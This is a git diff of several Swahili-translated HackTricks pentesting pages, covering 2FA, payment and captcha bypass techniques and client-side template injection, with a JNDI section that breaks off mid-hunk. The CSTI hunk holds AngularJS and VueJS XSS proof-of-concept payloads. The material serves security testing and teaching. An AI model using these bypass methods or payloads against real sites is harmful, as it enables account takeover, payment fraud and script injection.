|
||||
### **Manipulering ya Kikao**
|
||||
|
||||
Kuanza vikao kwa akaunti ya mtumiaji na ya mwathirika, na kukamilisha 2FA kwa akaunti ya mtumiaji bila kuendelea, kunaweza kuruhusu jaribio la kufikia hatua inayofuata katika mtiririko wa akaunti ya mwathirika, ikitumia mapungufu ya usimamizi wa kikao cha nyuma.
|
||||
Kuanza vikao kwa akaunti ya mtumiaji na akaunti ya mwathirika, na kukamilisha 2FA kwa akaunti ya mtumiaji bila kuendelea, kunaweza kuruhusu jaribio la kupata hatua inayofuata katika mtiririko wa akaunti ya mwathirika, ikitumia mapungufu ya usimamizi wa kikao cha nyuma.
|
||||
|
||||
### **Mekaniki ya Kurekebisha Nenosiri**
|
||||
|
||||
Kuchunguza kazi ya kurekebisha nenosiri, ambayo inamwingiza mtumiaji kwenye programu baada ya kurekebisha, kwa uwezo wake wa kuruhusu marekebisho mengi kwa kutumia kiungo kimoja ni muhimu. Kuingia na taarifa mpya za kurekebisha kunaweza kupita 2FA.
|
||||
Kuchunguza kazi ya kurekebisha nenosiri, ambayo inamwingiza mtumiaji kwenye programu baada ya kurekebisha, kwa uwezo wake wa kuruhusu marekebisho mengi kwa kutumia kiungo kimoja ni muhimu. Kuingia kwa kutumia taarifa mpya za kurekebisha kunaweza kupita 2FA.
|
||||
|
||||
### **Kuvunjika kwa Jukwaa la OAuth**
|
||||
### **Kuathiri Jukwaa la OAuth**
|
||||
|
||||
Kuvunja akaunti ya mtumiaji kwenye jukwaa la **OAuth** lililoaminika (mfano, Google, Facebook) kunaweza kutoa njia ya kupita 2FA.
|
||||
Kuharibu akaunti ya mtumiaji kwenye jukwaa la kuaminika la **OAuth** (mfano, Google, Facebook) kunaweza kutoa njia ya kupita 2FA.
|
||||
|
||||
### **Mashambulizi ya Brute Force**
|
||||
|
||||
#### **Ukosefu wa Kiwango cha Kiwango**
|
||||
|
||||
Ukosefu wa kikomo kwenye idadi ya majaribio ya msimbo unaruhusu mashambulizi ya brute force, ingawa ukomo wa kimya unapaswa kuzingatiwa.
|
||||
Ukosefu wa kikomo kwenye idadi ya majaribio ya msimbo unaruhusu mashambulizi ya brute force, ingawa kikomo cha kimya kinachowezekana kinapaswa kuzingatiwa.
|
||||
|
||||
#### **Brute Force Polepole**
|
||||
|
||||
Shambulio la brute force polepole linaweza kufanyika ambapo mipaka ya mtiririko ipo bila kikomo cha jumla.
|
||||
|
||||
#### **Kurejesha Kiwango cha Kutuma Msimbo**
|
||||
#### **Kurejesha Kikomo cha Kutuma Msimbo Tena**
|
||||
|
||||
Kurejesha msimbo kunarejesha kiwango cha kiwango, kuruhusu majaribio ya kuendelea ya brute force.
|
||||
Kutatiza msimbo kunarejesha kikomo cha kiwango, kuruhusu majaribio ya kuendelea ya brute force.
|
||||
|
||||
#### **Kukwepa Kiwango cha Kiwango cha Mteja**
|
||||
#### **Kukwepa Kiwango cha Kiwango cha Upande wa Mteja**
|
||||
|
||||
Hati inaelezea mbinu za kukwepa kiwango cha kiwango cha mteja.
|
||||
Hati inaelezea mbinu za kukwepa kiwango cha kiwango cha upande wa mteja.
|
||||
|
||||
#### **Vitendo vya Ndani Havina Kiwango cha Kiwango**
|
||||
|
||||
Mipaka ya kiwango inaweza kulinda majaribio ya kuingia lakini si vitendo vya ndani vya akaunti.
|
||||
|
||||
#### **Gharama za Kurejesha Msimbo wa SMS**
|
||||
#### **Gharama za Kutuma Msimbo wa SMS Tena**
|
||||
|
||||
Kurejesha msimbo kupita kiasi kupitia SMS kunagharimu kampuni, ingawa hakupitishi 2FA.
|
||||
Kutuma msimbo mara nyingi kupitia SMS kunagharimu kampuni, ingawa hakupitishi 2FA.
|
||||
|
||||
#### **Uundaji wa OTP Usio na Mwisho**
|
||||
|
||||
Uundaji wa OTP usio na mwisho kwa kutumia misimbo rahisi unaruhusu brute force kwa kujaribu seti ndogo ya misimbo.
|
||||
Uundaji usio na mwisho wa OTP kwa kutumia misimbo rahisi unaruhusu brute force kwa kujaribu seti ndogo ya misimbo.
|
||||
|
||||
### **Kuvunja Masharti ya Mbio**
|
||||
### **Kudhulumu Masharti ya Mbio**
|
||||
|
||||
Kuvunja masharti ya mbio kwa kupita 2FA kunaweza kupatikana katika hati maalum.
|
||||
Kudhulumu masharti ya mbio kwa kupita 2FA kunaweza kupatikana katika hati maalum.
|
||||
|
||||
### **Vulnerabilities za CSRF/Clickjacking**
|
||||
|
||||
|
|
@ -119,23 +106,23 @@ Kujaribu subdomains kunaweza kutumia matoleo ya zamani yasiyo na msaada wa 2FA a
|
|||
|
||||
#### **API Endpoints**
|
||||
|
||||
Matoleo ya zamani ya API, yanayoonyeshwa na /v\*/ njia za saraka, yanaweza kuwa na hatari kwa mbinu za kupita 2FA.
|
||||
Matoleo ya zamani ya API, yanayoonyeshwa na njia za saraka za /v\*/, yanaweza kuwa na udhaifu kwa mbinu za kupita 2FA.
|
||||
|
||||
### **Kushughulikia Vikao vya Awali**
|
||||
|
||||
Kumaliza vikao vilivyopo wakati wa kuanzishwa kwa 2FA kunalinda akaunti dhidi ya upatikanaji usioidhinishwa kutoka kwa vikao vilivyovunjika.
|
||||
Kumaliza vikao vilivyopo wakati wa kuanzishwa kwa 2FA kunalinda akaunti dhidi ya upatikanaji usioidhinishwa kutoka kwa vikao vilivyoharibiwa.
|
||||
|
||||
### **Mapungufu ya Udhibiti wa Upatikanaji na Nambari za Akiba**
|
||||
|
||||
Uundaji wa haraka na uwezekano wa kupata nambari za akiba bila idhini mara tu 2FA inapoanzishwa, hasa na mipangilio ya CORS isiyo sahihi/vulnerabilities za XSS, kuna hatari.
|
||||
Uundaji wa haraka na uwezekano wa kupata nambari za akiba bila idhini mara moja baada ya kuanzishwa kwa 2FA, hasa na mipangilio ya CORS isiyo sahihi/vulnerabilities za XSS, kuna hatari.
|
||||
|
||||
### **Ufunuo wa Taarifa kwenye Ukurasa wa 2FA**
|
||||
|
||||
Ufunuo wa taarifa nyeti (mfano, nambari ya simu) kwenye ukurasa wa uthibitisho wa 2FA ni wasiwasi.
|
||||
|
||||
### **Kurekebisha Nenosiri Kukatisha 2FA**
|
||||
### **Kurekebisha Nenosiri na Kuzima 2FA**
|
||||
|
||||
Mchakato unaoonyesha njia inayoweza kupita unajumuisha uundaji wa akaunti, kuanzishwa kwa 2FA, kurekebisha nenosiri, na kuingia baadaye bila hitaji la 2FA.
|
||||
Mchakato unaoonyesha mbinu inayoweza kupita inajumuisha uundaji wa akaunti, kuanzishwa kwa 2FA, kurekebisha nenosiri, na kuingia baadaye bila hitaji la 2FA.
|
||||
|
||||
### **Maombi ya Kijakazi**
|
||||
|
||||
|
|
@ -143,39 +130,28 @@ Kutumia maombi ya kijakazi ili kuficha majaribio ya brute force au kupotosha mif
|
|||
|
||||
### Makosa ya Ujenzi wa OTP
|
||||
|
||||
Ikiwa OTP inaundwa kwa msingi wa data ambayo mtumiaji tayari ana au ambayo inatumwa kabla ya kuunda OTP, inawezekana kwa mtumiaji pia kuunda na kupita.
|
||||
Iwapo OTP inaundwa kwa msingi wa data ambayo mtumiaji tayari ana au ambayo inatumwa kabla ya kuunda OTP, inawezekana kwa mtumiaji pia kuunda na kupita.
|
||||
|
||||
## Marejeleo
|
||||
## References
|
||||
|
||||
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/%22https:/medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35%22/README.md)
|
||||
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
||||
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware inayochukua taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
P
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,49 +15,35 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
## Payment Bypass Techniques
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Mbinu za Kuepuka Malipo
|
||||
|
||||
### Kukamata Maombi
|
||||
### Request Interception
|
||||
Wakati wa mchakato wa muamala, ni muhimu kufuatilia data inayobadilishana kati ya mteja na seva. Hii inaweza kufanywa kwa kukamata maombi yote. Ndani ya maombi haya, angalia vigezo vyenye athari kubwa, kama vile:
|
||||
|
||||
- **Mafanikio**: Kigezo hiki mara nyingi kinaonyesha hali ya muamala.
|
||||
- **Success**: Kigezo hiki mara nyingi kinaonyesha hali ya muamala.
|
||||
- **Referrer**: Kinaweza kuashiria chanzo ambacho ombi lilitoka.
|
||||
- **Callback**: Hiki hutumiwa kawaida kwa kuhamasisha mtumiaji baada ya muamala kukamilika.
|
||||
- **Callback**: Hiki hutumiwa kawaida kwa kuhamasisha mtumiaji baada ya kumaliza muamala.
|
||||
|
||||
### Uchambuzi wa URL
|
||||
Ikiwa unakutana na kigezo kinachokuwa na URL, hasa kimoja kinachofuata muundo _example.com/payment/MD5HASH_, inahitaji uchunguzi wa karibu. Hapa kuna njia ya hatua kwa hatua:
|
||||
### URL Analysis
|
||||
Ikiwa unakutana na kigezo kinachokuwa na URL, hasa kimoja kinachofuata muundo _example.com/payment/MD5HASH_, inahitaji uchunguzi wa karibu. Hapa kuna mbinu ya hatua kwa hatua:
|
||||
|
||||
1. **Nakili URL**: Toa URL kutoka kwa thamani ya kigezo.
|
||||
2. **Ukaguzi wa Dirisha Jipya**: Fungua URL iliyokopwa katika dirisha jipya la kivinjari. Kitendo hiki ni muhimu kwa kuelewa matokeo ya muamala.
|
||||
1. **Copy the URL**: Toa URL kutoka kwa thamani ya kigezo.
|
||||
2. **New Window Inspection**: Fungua URL iliyokopwa katika dirisha jipya la kivinjari. Kitendo hiki ni muhimu kwa kuelewa matokeo ya muamala.
|
||||
|
||||
### Manipulation ya Vigezo
|
||||
1. **Badilisha Thamani za Vigezo**: Jaribu kubadilisha thamani za vigezo kama _Mafanikio_, _Referrer_, au _Callback_. Kwa mfano, kubadilisha kigezo kutoka `false` hadi `true` kunaweza kuonyesha jinsi mfumo unavyoshughulikia ingizo hizi.
|
||||
2. **Ondoa Vigezo**: Jaribu kuondoa vigezo fulani kabisa ili kuona jinsi mfumo unavyoshughulikia. Mifumo mingine inaweza kuwa na mipango ya akiba au tabia za kawaida wakati vigezo vinavyotarajiwa havipo.
|
||||
### Parameter Manipulation
|
||||
1. **Change Parameter Values**: Jaribu kubadilisha thamani za vigezo kama _Success_, _Referrer_, au _Callback_. Kwa mfano, kubadilisha kigezo kutoka `false` hadi `true` kunaweza kuonyesha jinsi mfumo unavyoshughulikia ingizo hizi.
|
||||
2. **Remove Parameters**: Jaribu kuondoa vigezo fulani kabisa ili kuona jinsi mfumo unavyoshughulikia. Mifumo mingine inaweza kuwa na njia mbadala au tabia za kawaida wakati vigezo vinavyotarajiwa havipo.
|
||||
|
||||
### Uharibifu wa Kuki
|
||||
1. **Chunguza Kukis**: Tovuti nyingi huhifadhi taarifa muhimu katika kuki. Kagua kuki hizi kwa data yoyote inayohusiana na hali ya malipo au uthibitisho wa mtumiaji.
|
||||
2. **Badilisha Thamani za Kuki**: Badilisha thamani zilizohifadhiwa katika kuki na uone jinsi majibu au tabia ya tovuti inavyobadilika.
|
||||
### Cookie Tampering
|
||||
1. **Examine Cookies**: Tovuti nyingi huhifadhi taarifa muhimu katika cookies. Chunguza cookies hizi kwa data yoyote inayohusiana na hali ya malipo au uthibitisho wa mtumiaji.
|
||||
2. **Modify Cookie Values**: Badilisha thamani zilizohifadhiwa katika cookies na uone jinsi majibu au tabia ya tovuti inavyobadilika.
|
||||
|
||||
### Hijacking ya Kikao
|
||||
1. **Token za Kikao**: Ikiwa token za kikao zinatumika katika mchakato wa malipo, jaribu kukamata na kubadilisha. Hii inaweza kutoa mwanga juu ya udhaifu wa usimamizi wa kikao.
|
||||
### Session Hijacking
|
||||
1. **Session Tokens**: Ikiwa token za kikao zinatumika katika mchakato wa malipo, jaribu kukamata na kubadilisha. Hii inaweza kutoa mwanga juu ya udhaifu wa usimamizi wa kikao.
|
||||
|
||||
### Uharibifu wa Majibu
|
||||
1. **Kukamata Majibu**: Tumia zana kukamata na kuchambua majibu kutoka kwa seva. Angalia data yoyote inayoweza kuashiria muamala uliofanikiwa au kufichua hatua zinazofuata katika mchakato wa malipo.
|
||||
2. **Badilisha Majibu**: Jaribu kubadilisha majibu kabla ya kusindika na kivinjari au programu ili kuiga hali ya muamala uliofanikiwa.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
### Response Tampering
|
||||
1. **Intercept Responses**: Tumia zana kukamata na kuchambua majibu kutoka kwa seva. Angalia data yoyote inayoweza kuashiria muamala uliofanikiwa au kufichua hatua zinazofuata katika mchakato wa malipo.
|
||||
2. **Modify Responses**: Jaribu kubadilisha majibu kabla ya kusindika na kivinjari au programu ili kuiga hali ya muamala uliofanikiwa.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Captcha Bypass
|
||||
|
||||
Ili **kuepuka** captcha wakati wa **mtihani wa seva** na kujiendesha kwa kazi za kuingiza mtumiaji, mbinu mbalimbali zinaweza kutumika. Lengo si kudhoofisha usalama bali kuboresha mchakato wa mtihani. Hapa kuna orodha kamili ya mikakati:
|
||||
Ili **kuepuka** captcha wakati wa **mtihani wa seva** na kuendesha kazi za kuingiza mtumiaji, mbinu mbalimbali zinaweza kutumika. Lengo sio kudhoofisha usalama bali kuboresha mchakato wa mtihani. Hapa kuna orodha kamili ya mikakati:
|
||||
|
||||
1. **Kuharibu Parameta**:
|
||||
* **Acha Parameta ya Captcha**: Epuka kutuma parameta ya captcha. Jaribu kubadilisha njia ya HTTP kutoka POST hadi GET au vitenzi vingine, na kubadilisha muundo wa data, kama kubadilisha kati ya data ya fomu na JSON.
|
||||
|
|
@ -27,26 +27,24 @@ Ili **kuepuka** captcha wakati wa **mtihani wa seva** na kujiendesha kwa kazi za
|
|||
* **Ukaguzi wa Kanuni ya Chanzo**: Tafuta thamani ya captcha ndani ya kanuni ya chanzo ya ukurasa.
|
||||
* **Uchambuzi wa Kuki**: Chunguza kuki ili kuona kama thamani ya captcha imehifadhiwa na kutumika tena.
|
||||
* **Tumia Thamani za Captcha za Zamani**: Jaribu kutumia thamani za captcha zilizofanikiwa hapo awali tena. Kumbuka kwamba zinaweza kuisha muda wakati wowote.
|
||||
* **Kuharibu Kikao**: Jaribu kutumia thamani ile ile ya captcha katika vikao tofauti au kitambulisho cha kikao kilekile.
|
||||
* **Kuharibu Kikao**: Jaribu kutumia thamani sawa ya captcha katika vikao tofauti au kitambulisho sawa cha kikao.
|
||||
|
||||
3. **Automatisering na Utambuzi**:
|
||||
* **Mathematical Captchas**: Ikiwa captcha inahusisha operesheni za hisabati, jiendeshe katika mchakato wa hesabu.
|
||||
* **Captchas za Kihesabu**: Ikiwa captcha inahusisha operesheni za hisabati, automatishe mchakato wa hesabu.
|
||||
* **Utambuzi wa Picha**:
|
||||
* Kwa captchas zinazohitaji kusoma wahusika kutoka picha, tambua kwa mikono au kimaandishi jumla ya picha za kipekee. Ikiwa seti ni ndogo, unaweza kutambua kila picha kwa hash yake ya MD5.
|
||||
* Tumia zana za Utambuzi wa Wahusika wa Kijamii (OCR) kama [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) ili kujiendesha katika kusoma wahusika kutoka picha.
|
||||
* Tumia zana za Utambuzi wa Wahusika wa Kijamii (OCR) kama [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) automatishe kusoma wahusika kutoka picha.
|
||||
|
||||
4. **Mbinu za Ziada**:
|
||||
* **Kujaribu Kiwango cha Kiwango**: Angalia ikiwa programu inapunguza idadi ya majaribio au uwasilishaji katika muda fulani na ikiwa kikomo hiki kinaweza kuepukwa au kurekebishwa.
|
||||
* **Huduma za Tatu**: Tumia huduma za kutatua captcha au APIs zinazotoa utambuzi wa captcha wa kiotomatiki na kutatua.
|
||||
* **Kujaribu Kiwango cha Kujaribu**: Angalia ikiwa programu inapunguza idadi ya majaribio au uwasilishaji katika muda fulani na ikiwa kikomo hiki kinaweza kuepukwa au kurekebishwa.
|
||||
* **Huduma za Tatu**: Tumia huduma za kutatua captcha au APIs zinazotoa utambuzi wa captcha wa automatishe na kutatua.
|
||||
* **Mzunguko wa Kikao na IP**: Badilisha mara kwa mara vitambulisho vya kikao na anwani za IP ili kuepuka kugunduliwa na kuzuia na seva.
|
||||
* **Kuharibu User-Agent na Vichwa**: Badilisha User-Agent na vichwa vingine vya ombi ili kuiga vivinjari au vifaa tofauti.
|
||||
* **Uchambuzi wa Captcha ya Sauti**: Ikiwa chaguo la captcha ya sauti linapatikana, tumia huduma za sauti hadi maandiko kutafsiri na kutatua captcha.
|
||||
|
||||
|
||||
## Huduma za Mtandaoni za Kutatua captchas
|
||||
|
||||
### [Capsolver](https://www.capsolver.com/)
|
||||
|
||||
Mchambuzi wa captcha wa Capsolver hutoa **suluhisho la kutatua captcha kwa haraka na kwa bei nafuu**. Unaweza kuunganisha haraka na programu yako kwa kutumia chaguo lake rahisi la kuunganishwa ili kupata matokeo bora kwa sekunde chache. Inaweza kutatua reCAPTCHA V2 na V3, hCaptcha, FunCaptcha, datadome, aws captcha, picha-hadi-teksti, binance / coinmarketcap captcha, geetest v3, na mengineyo. Hata hivyo, hii si kuepuka kwa maana halisi.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -15,29 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **kimeathiriwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Summary
|
||||
|
||||
Ni kama [**Server Side Template Injection**](ssti-server-side-template-injection/) lakini katika **mteja**. **SSTI** inaweza kukuruhusu **kutekeleza msimbo** kwenye seva ya mbali, **CSTI** inaweza kukuruhusu **kutekeleza msimbo wa JavaScript** wa kiholela katika kivinjari cha mwathirika.
|
||||
|
||||
**Kujaribu** kwa ajili ya udhaifu huu ni **kama** ilivyo katika kesi ya **SSTI**, mfasiri anatarajia **kigezo** na atakitekeleza. Kwa mfano, kwa payload kama `{{ 7-7 }}`, ikiwa programu ina **udhaifu** utaona `0`, na ikiwa sivyo, utaona asili: `{{ 7-7 }}`
|
||||
**Kujaribu** udhaifu huu ni **kama** ilivyo katika kesi ya **SSTI**, mfasiri anatarajia **kigezo** na atakitekeleza. Kwa mfano, kwa payload kama `{{ 7-7 }}`, ikiwa programu ina **udhaifu** utaona `0`, na ikiwa sivyo, utaona asili: `{{ 7-7 }}`
|
||||
|
||||
## AngularJS
|
||||
|
||||
AngularJS ni mfumo maarufu wa JavaScript unaotumika mwingiliano na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa **`ng-app`**. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.
|
||||
AngularJS ni mfumo wa JavaScript unaotumika sana ambao unawasiliana na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa **`ng-app`**. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.
|
||||
|
||||
Katika hali ambapo input ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTML ulio na lebo `ng-app`, inawezekana kutekeleza msimbo wa JavaScript wa kiholela. Hii inaweza kufikiwa kwa kutumia sintaksia ya AngularJS ndani ya input. Hapa chini kuna mifano inayoonyesha jinsi msimbo wa JavaScript unaweza kutekelezwa:
|
||||
```javascript
|
||||
|
|
@ -51,7 +38,7 @@ Katika hali ambapo input ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTML u
|
|||
You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) and in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
|
||||
|
||||
{% hint style="danger" %}
|
||||
[**Angular 1.6 iliondo sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) hivyo kutoka toleo hili payload kama `{{constructor.constructor('alert(1)')()}}` au `<input ng-focus=$event.view.alert('XSS')>` inapaswa kufanya kazi.
|
||||
[**Angular 1.6 iliondoa sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) hivyo kutoka toleo hili payload kama `{{constructor.constructor('alert(1)')()}}` au `<input ng-focus=$event.view.alert('XSS')>` inapaswa kufanya kazi.
|
||||
{% endhint %}
|
||||
|
||||
## VueJS
|
||||
|
|
@ -102,17 +89,7 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -15,24 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
JNDI, iliyounganishwa katika Java tangu mwishoni mwa miaka ya 1990, inatumika kama huduma ya directory, ikiruhusu programu za Java kutafuta data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za directory kupitia interfaces za mtoa huduma (SPIs), ikiruhusu upatikanaji wa data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vya mbali. SPIs maarufu ni pamoja na CORBA COS, Java RMI Registry, na LDAP.
|
||||
JNDI, iliyounganishwa katika Java tangu mwishoni mwa miaka ya 1990, inatumika kama huduma ya directory, ikiruhusu programu za Java kupata data au vitu kupitia mfumo wa majina. Inasaidia huduma mbalimbali za directory kupitia interfaces za mtoa huduma (SPIs), ikiruhusu upatikanaji wa data kutoka kwa mifumo tofauti, ikiwa ni pamoja na vitu vya Java vya mbali. SPIs maarufu ni pamoja na CORBA COS, Java RMI Registry, na LDAP.
|
||||
|
||||
### JNDI Naming Reference
|
||||
|
||||
Vitu vya Java vinaweza kuhifadhiwa na kupatikana kwa kutumia JNDI Naming References, ambazo zinakuja katika aina mbili:
|
||||
|
||||
* **Reference Addresses**: Inabainisha eneo la kitu (mfano, _rmi://server/ref_), ikiruhusu upatikanaji wa moja kwa moja kutoka anwani iliyoainishwa.
|
||||
* **Remote Factory**: Inarejelea darasa la kiwanda cha mbali. Wakati inapoingia, darasa linapakuliwa na kuanzishwa kutoka eneo la mbali.
|
||||
* **Reference Addresses**: Inabainisha eneo la kitu (mfano, _rmi://server/ref_), ikiruhusu upatikanaji wa moja kwa moja kutoka kwa anwani iliyoainishwa.
|
||||
* **Remote Factory**: Inarejelea darasa la kiwanda cha mbali. Wakati inaccess, darasa linapakuliwa na kuanzishwa kutoka eneo la mbali.
|
||||
|
||||
Hata hivyo, mekanism hii inaweza kutumika vibaya, na inaweza kusababisha upakiaji na utekelezaji wa msimbo usio na mipaka. Kama hatua ya kupambana:
|
||||
|
||||
|
|
@ -40,7 +32,7 @@ Hata hivyo, mekanism hii inaweza kutumika vibaya, na inaweza kusababisha upakiaj
|
|||
